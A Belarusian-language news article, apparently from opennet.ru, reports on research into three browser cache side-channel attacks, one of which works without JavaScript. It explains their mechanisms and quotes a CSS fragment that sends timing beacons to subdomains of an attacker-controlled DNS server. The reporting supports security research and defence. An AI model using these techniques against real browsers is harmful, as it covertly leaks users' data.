Атака па выманні дадзеных з кэша CPU, якая рэалізуецца ў web-браўзэры без JavaScript

Група даследнікаў з некалькіх амерыканскіх, ізраільскіх і аўстралійскіх універсітэтаў распрацавала тры якія працуюць у web-браўзэрах нападу для вымання інфармацыі аб змесце працэсарнага кэша. Адзін метад працуе ў браўзэрах без JavaScript, а два астатніх у абыход існых метадаў абароны ад нападаў па іншых каналах, у тым ліку ўжывальных у Tor browser і DeterFox. Код для дэманстрацыі нападаў, а таксама неабходныя для нападаў серверныя кампаненты, апублікаваны на GitHub.

Для аналізу змесціва кэша ва ўсіх нападах выкарыстоўваецца метад Prime+Probe, які разумее запаўненне кэша эталонным наборам значэнняў і азначэнне змен праз вымярэнне часу доступу да іх пры паўторным запаўненні. Для абыходу прысутных у браўзэрах механізмаў абароны, якія замінаюць дакладнаму вымярэнню часу, у двух варыянтах ажыццяўляецца зварот да падкантрольнага атакавалага DNS-ці WebSocket-серверу, на якім вядзецца лог часу паступлення запытаў. У адным варыянце фіксаваны час DNS-адказу выкарыстоўваецца ў якасці эталона часу.

Вымярэнняў, выкананых з прыцягненнем вонкавых DNS- або WebSocket-сервераў, дзякуючы ўжыванню сістэмы класіфікацыі на аснове машыннага навучання, аказалася дастаткова для прадказання значэнняў з дакладнасцю да 98% у самым аптымальным сцэнары (у сярэднім 80-90%). Метады нападу пратэставаны на розных апаратных платформах (Intel, AMD Ryzen, Apple M1, Samsung Exynos) і паказалі сябе як універсальныя.

Атака па выманні дадзеных з кэша CPU, якая рэалізуецца ў web-браўзэры без JavaScript

У першым варыянце нападу «DNS Racing» выкарыстоўваецца класічная рэалізацыя метаду Prime+Probe, якая выкарыстоўвае масівы JavaScript. Адрозненні зводзяцца да ўжывання вонкавага таймера на базе DNS і апрацоўшчыка onerror, які спрацоўвае пры спробе загрузкі малюнка з неіснуючага дамена. Вонкавы таймер дазваляе ажыццявіць напад Prime+Probe у браўзэрах, якія абмяжоўваюць або цалкам адключаюць доступ да таймераў JavaScript.

Для DNS-сервера, размешчанага ў той жа Ethernet-сеткі, дакладнасць таймера ацэньваецца прыкладна ў 2 мс, што дастаткова для правядзення нападу па іншых каналах (для параўнання дакладнасць штатнага JavaScript-таймера ў Tor Browser зніжана да 100 мс). Для нападу кантроль за DNS-серверам не патрабуецца, бо час выканання аперацыі падбіраецца так, каб час адказу ад DNS служыла прыкметай больш ранняга завяршэння праверкі (у залежнасці ад таго раней ідзі пазней спрацаваў апрацоўшчык onerror робіцца выснова аб хуткасці выканання праверачнай аперацыі з кэшам) .

Другі метад нападу "String and Sock" накіраваны на абыход метадаў абароны, якія абмяжоўваюць нізкаўзроўневае выкарыстанне масіваў у JavaScript. Замест масіваў у "String and Sock" задзейнічаны аперацыі з вельмі вялікімі радкамі, памер якіх выбіраецца так, каб пераменная пакрывала сабой увесь кэш LLC (Last level cache). Далей пры дапамозе функцыі indexOf() у радку шукаецца невялікая падрадок, якая першапачаткова адсутнічае ў зыходным радку, г.зн. аперацыя пошуку прыводзіць да перабору ўсяго радка. Бо памер радка адпавядае памеру LLC-кэша, тое сканаванне дазваляе выканаць аперацыю праверкі кэша без маніпуляцыі з масівамі. Для вымярэння затрымак замест DNS задзейнічаны зварот да падкантрольнага атакаваламу WebSocket-серверу - перад пачаткам і пасля завяршэння аперацыі пошуку ў радку адпраўляюцца запыты, на аснове якіх на серверы вылічаецца затрымка, выкарыстоўваная для аналізу змесціва кэша.

Трэці варыянт нападу "CSS PP0" рэалізаваны праз HTML і CSS, і можа працаваць у браўзэрах з адключаным JavaScript. Метад нагадвае "String and Sock", але не прывязаны да JavaScript. Падчас нападаў фармуецца набор CSS-селектараў, якія здзяйсняюць пошук па масцы. Зыходны вялікі радок, якая запаўняе кэш, задаецца праз стварэнне тэга div з вельмі вялікім імем класа. Унутры размяшчаецца набор іншых div-ов са сваімі ідэнтыфікатарамі. Для кожнага з гэтых укладзеных div-ов вызначаецца свой стыль з селектарам, які ажыццяўляе пошук падрадкі. Пры адмалёўцы старонкі браўзэр спачатку спрабуе апрацаваць унутраныя div-ы, што прыводзіць да выканання аперацыі пошуку ў вялікім радку. Пошук выконваецца па заведама адсутнай масцы і прыводзіць да перабору ўсяго радка, пасля чаго спрацоўвае ўмова «not» і ажыццяўляецца спроба загрузкі фонавага малюнка, які спасылаецца на выпадковыя дамены: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …

Паддамены абслугоўваюцца на DNS-серверы атакавалага, які можа вымяраць затрымкі ў атрыманні запытаў. На ўсе запыты DNS-сервер выдае NXDOMAIN і вядзе лог дакладнага часу зваротаў. У выніку апрацоўкі набору div-ов на DNS-сервер атакавалага паступае серыя запытаў, затрымкі паміж якімі карэлююць з вынікам праверкі змесціва кэша.

Атака па выманні дадзеных з кэша CPU, якая рэалізуецца ў web-браўзэры без JavaScript


Крыніца: opennet.ru

Дадаць каментар